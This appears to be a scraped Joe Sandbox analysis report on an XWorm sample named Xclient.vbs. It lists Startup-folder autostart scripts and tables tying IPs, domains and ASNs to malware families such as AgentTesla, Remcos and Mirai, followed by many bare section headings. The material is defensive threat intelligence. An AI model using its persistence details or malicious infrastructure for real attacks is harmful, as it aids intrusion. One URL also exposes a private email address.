Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:43:14	API Interceptor	346x Sleep call for process: powershell.exe modified
14:44:15	API Interceptor	2x Sleep call for process: svchost.exe modified
19:43:21	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd
19:43:35	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0c891e71.cmd
19:43:48	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_a276d6c0.cmd
19:44:01	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_79ced6d4.cmd
19:44:14	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c64e66cc.cmd

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	pile.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	GAj49U93sg.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	urzeK6y8gl.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	devuelto_89676464576485645876464646345433467574687744.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	NEW ORDER LISTED 2025 VENOKLER S.A PDF.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	kBcQHTMne6.ps1	Get hash	malicious	Unknown	Browse	ip-api.com/json
	Nuevo Orden_212435988.pdf____________________________.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	s.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	1.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	ip-api.com/xml
	payload.ps1	Get hash	malicious	Kdot Stealer	Browse	ip-api.com/json/
168.119.145.117	OC 23558 EINSA F2420.vbs	Get hash	malicious	Unknown	Browse
	Teufelberger,pdf.vbs	Get hash	malicious	Remcos, PureLog Stealer, zgRAT	Browse
	REMMITTANCE ADVICE- 12.02.25_PNG.vbs	Get hash	malicious	Unknown	Browse
	Attached order.vbs	Get hash	malicious	Unknown	Browse
	tOpxHK0Z2U.bat	Get hash	malicious	Remcos	Browse
	5kldoushde.bat	Get hash	malicious	Remcos	Browse
	puDUCOeVK6.bat	Get hash	malicious	Remcos	Browse
	As7KZaO9Dy.bat	Get hash	malicious	Remcos	Browse
	uowzo4rEa5.bat	Get hash	malicious	Remcos	Browse
	BNP_Paribas,pdf.vbs	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	pile.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	GAj49U93sg.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	urzeK6y8gl.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	devuelto_89676464576485645876464646345433467574687744.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	NEW ORDER LISTED 2025 VENOKLER S.A PDF.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	kBcQHTMne6.ps1	Get hash	malicious	Unknown	Browse	208.95.112.1
	Nuevo Orden_212435988.pdf____________________________.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	s.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	1.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	208.95.112.1
	payload.ps1	Get hash	malicious	Kdot Stealer	Browse	208.95.112.1
0x0.st	OC 23558 EINSA F2420.vbs	Get hash	malicious	Unknown	Browse	168.119.145.117
	Teufelberger,pdf.vbs	Get hash	malicious	Remcos, PureLog Stealer, zgRAT	Browse	168.119.145.117
	REMMITTANCE ADVICE- 12.02.25_PNG.vbs	Get hash	malicious	Unknown	Browse	168.119.145.117
	Attached order.vbs	Get hash	malicious	Unknown	Browse	168.119.145.117
	tOpxHK0Z2U.bat	Get hash	malicious	Remcos	Browse	168.119.145.117
	5kldoushde.bat	Get hash	malicious	Remcos	Browse	168.119.145.117
	puDUCOeVK6.bat	Get hash	malicious	Remcos	Browse	168.119.145.117
	As7KZaO9Dy.bat	Get hash	malicious	Remcos	Browse	168.119.145.117
	uowzo4rEa5.bat	Get hash	malicious	Remcos	Browse	168.119.145.117
	BNP_Paribas,pdf.vbs	Get hash	malicious	Remcos	Browse	168.119.145.117
a-0003.a-msedge.net	H3Ze9Uj.exe	Get hash	malicious	XWorm	Browse	204.79.197.203
	QEIFBCQW.msi	Get hash	malicious	Unknown	Browse	204.79.197.203
	blessed.ps1	Get hash	malicious	FormBook	Browse	204.79.197.203
	em3.ps1	Get hash	malicious	FormBook	Browse	204.79.197.203
	_747031500 D747031500_A.html	Get hash	malicious	Remcos	Browse	204.79.197.203
	747031500_D747031500_A.js	Get hash	malicious	Remcos	Browse	204.79.197.203
	CYA75gigem.exe	Get hash	malicious	Vidar	Browse	204.79.197.203
	N11R7lRasm.exe	Get hash	malicious	Vidar	Browse	204.79.197.203
	https://eur01.safelinks.protection.outlook.com/ap/w-59584e83/?url=https%3A%2F%2Finnerworks621-my.sharepoint.com%2F%3Aw%3A%2Fg%2Fpersonal%2Ffbayoumi_iwexpress_com%2FEV18-ULK3bBFgswwIocxhGgB_RycisFJYnuNE85X0INcoQ%3Fe%3DPJWGhb&data=05%7C02%7Cm.schwarzfaerber%40gutmann.de%7Cba71d958cbce4017fe2b08dd4c1498cf%7Cb8afaafb131d4ce28085e6ff7718d438%7C0%7C0%7C638750373515189602%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&sdata=jFoC7e8%2BnChKZDPYgfO8Z0D6BEVH0spDWEnRRVzuauE%3D&reserved=0	Get hash	malicious	Unknown	Browse	204.79.197.203
	https://innerworks621-my.sharepoint.com/:w:/g/personal/fbayoumi_iwexpress_com/EV18-ULK3bBFgswwIocxhGgB_RycisFJYnuNE85X0INcoQ?rtime=X7A0bhVM3Ug	Get hash	malicious	Unknown	Browse	204.79.197.203

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GBTCLOUDUS	XClient.exe	Get hash	malicious	XWorm	Browse	45.83.244.141
	res.arm5.elf	Get hash	malicious	Unknown	Browse	216.115.185.244
	Ayedz.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	45.13.151.59
	apache2.elf	Get hash	malicious	Mirai, Gafgyt	Browse	45.13.151.59
	Ayedz.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	45.13.151.59
	Ayedz.mips.elf	Get hash	malicious	Mirai, Gafgyt	Browse	45.13.151.59
	Ayedz.ppc.elf	Get hash	malicious	Mirai, Gafgyt	Browse	45.13.151.59
	sh.elf	Get hash	malicious	Mirai, Gafgyt	Browse	45.13.151.59
	Ayedz.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	45.13.151.59
	Ayedz.Armv61.elf	Get hash	malicious	Mirai, Gafgyt	Browse	45.13.151.59
HETZNER-ASDE	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Xclient.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

Windows Analysis Report
Xclient.vbs